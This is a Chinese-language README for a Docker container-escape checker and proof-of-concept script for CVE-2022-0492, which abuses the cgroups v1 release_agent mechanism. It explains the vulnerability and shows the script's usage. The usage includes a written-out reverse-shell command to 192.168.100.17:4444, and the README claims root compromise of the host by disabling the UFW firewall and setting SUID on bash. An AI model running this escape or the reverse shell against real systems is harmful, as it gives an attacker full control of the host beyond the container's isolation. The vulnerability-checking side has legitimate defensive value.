Docker 逃逸检测器及基于 CAP_SYS_ADMIN 和用户命名空间的概念验证 (CVE-2022-0492)
利用该漏洞需要攻击者能够访问运行于易受攻击系统上的Docker容器。一旦成功利用,攻击者便可逃逸容器并获得对宿主机的完全控制权。
Linux内核的 kernel/cgroup/cgroup-v1.c 函数 cgroup_release_agent_write 中发现了一个漏洞。该漏洞在特定情况下允许利用 cgroups v1 的 release_agent 功能实现权限提升,并意外绕过命名空间隔离。
简而言之,cgroups v1 有一个名为 release_agent 的特性,当cgroup中的进程终止时会运行一个程序。如果启用了 notify_on_release,内核会以 root 身份执行 release_agent 二进制文件。通过编辑 release_agent 文件,攻击者可以执行自己的二进制文件并获得高权限,从而控制系统。然而,release_agent 文件归 root 所有,因此只有拥有 root 访问权限的用户才能修改它。
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker容器逃逸 V
[>] 在Docker中执行此脚本以检查漏洞或进行利用。 (º___\/{
[>] 用法:
sh CVE-2022-0492.sh --checker 验证系统是否存在漏洞。
sh CVE-2022-0492.sh -c|--command <COMMAND> 在宿主机上执行命令。
sh CVE-2022-0492.sh -h|--help 打印帮助面板。
[>] 示例:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
通过禁用UFW并发送反弹Shell,成功攻陷宿主机的root用户。

通过为bash设置SUID并发送反弹Shell,成功攻陷宿主机的root用户。
